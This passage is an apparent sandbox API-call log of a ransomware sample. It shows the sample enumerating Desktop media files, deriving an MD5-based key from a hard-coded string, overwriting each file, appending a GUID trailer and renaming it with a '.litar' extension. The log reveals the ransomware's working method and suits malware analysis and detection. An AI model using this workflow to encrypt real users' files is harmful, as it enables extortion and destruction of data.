liDistanceToMove=0x13fd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.117] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.118] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.118] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.118] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.118] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x13ff9, lpOverlapped=0x0) returned 1 [0125.119] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.119] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.119] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.119] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.119] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.120] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.120] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.120] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.120] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.120] GetLastError () returned 0x0 [0125.120] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.120] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14000) returned 0x30fa0b0 [0125.121] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.121] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x13ff4, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x13ff4, lpOverlapped=0x0) returned 1 [0125.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.121] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13ff9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.121] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.122] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.122] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.122] CloseHandle (hObject=0x624) returned 1 [0125.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.123] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6igNpwR0pgLT9a.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6ignpwr0pglt9a.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6igNpwR0pgLT9a.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6ignpwr0pglt9a.m4a.litar")) returned 1 [0125.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.123] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.125] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4460140, ftCreationTime.dwHighDateTime=0x1d4c56f, ftLastAccessTime.dwLowDateTime=0xf70d2610, ftLastAccessTime.dwHighDateTime=0x1d4c82b, ftLastWriteTime.dwLowDateTime=0xf70d2610, ftLastWriteTime.dwHighDateTime=0x1d4c82b, nFileSizeHigh=0x0, nFileSizeLow=0x11d7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="75tKv_wPWu nle.flv", cAlternateFileName="75TKV_~1.FLV")) returned 1 [0125.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.125] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\75tKv_wPWu nle.flv") returned=".flv" [0125.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\75tKv_wPWu nle.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\75tkv_wpwu nle.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.125] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=73082) returned 1 [0125.125] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.127] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.127] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.128] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.128] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x11d7a, lpOverlapped=0x0) returned 1 [0125.129] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.129] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.129] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.129] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.130] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.130] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.130] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.130] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.130] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.130] GetLastError () returned 0x0 [0125.130] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.130] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.130] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.130] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11d80) returned 0x30fa0b0 [0125.131] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.131] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x11d75, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x11d75, lpOverlapped=0x0) returned 1 [0125.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.131] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11d7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.131] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.131] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.131] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.131] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.131] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.131] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.132] CloseHandle (hObject=0x624) returned 1 [0125.132] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.132] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.132] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.133] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\75tKv_wPWu nle.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\75tkv_wpwu nle.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\75tKv_wPWu nle.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\75tkv_wpwu nle.flv.litar")) returned 1 [0125.134] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.134] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.135] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.135] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54188870, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xc969d4f0, ftLastAccessTime.dwHighDateTime=0x1d4ccff, ftLastWriteTime.dwLowDateTime=0xc969d4f0, ftLastWriteTime.dwHighDateTime=0x1d4ccff, nFileSizeHigh=0x0, nFileSizeLow=0xd48c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ay_t-P.bmp", cAlternateFileName="")) returned 1 [0125.135] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.135] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.135] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.135] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ay_t-P.bmp") returned=".bmp" [0125.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ay_t-P.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ay_t-p.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.135] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=54412) returned 1 [0125.135] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.137] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd466, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.137] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.138] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.138] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.138] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.138] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xd48c, lpOverlapped=0x0) returned 1 [0125.139] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.139] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.139] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.139] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.139] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.140] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.140] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.140] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.140] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.140] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.140] GetLastError () returned 0x0 [0125.140] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.140] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.140] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.140] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd490) returned 0x30fa0b0 [0125.140] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.140] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.140] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xd487, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xd487, lpOverlapped=0x0) returned 1 [0125.141] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.141] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd48c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.141] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.141] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.141] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.141] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.141] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.141] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.141] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.141] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.141] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.141] CloseHandle (hObject=0x624) returned 1 [0125.142] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.142] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.142] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.142] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ay_t-P.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ay_t-p.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ay_t-P.bmp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ay_t-p.bmp.litar")) returned 1 [0125.143] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.143] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.144] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.144] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fa4c440, ftCreationTime.dwHighDateTime=0x1d4d498, ftLastAccessTime.dwLowDateTime=0x65558c00, ftLastAccessTime.dwHighDateTime=0x1d4cba3, ftLastWriteTime.dwLowDateTime=0x65558c00, ftLastWriteTime.dwHighDateTime=0x1d4cba3, nFileSizeHigh=0x0, nFileSizeLow=0x12c0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C6eN8spyaXs9O5N.wav", cAlternateFileName="C6EN8S~1.WAV")) returned 1 [0125.144] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.144] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.144] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.144] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C6eN8spyaXs9O5N.wav") returned=".wav" [0125.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C6eN8spyaXs9O5N.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6en8spyaxs9o5n.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.144] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=76811) returned 1 [0125.144] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.146] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12be5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.146] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.147] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.147] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.147] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.147] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x12c0b, lpOverlapped=0x0) returned 1 [0125.148] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.148] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.148] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.148] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.148] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.149] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.149] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.149] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.149] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.149] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.149] GetLastError () returned 0x0 [0125.149] CryptDestroyHash 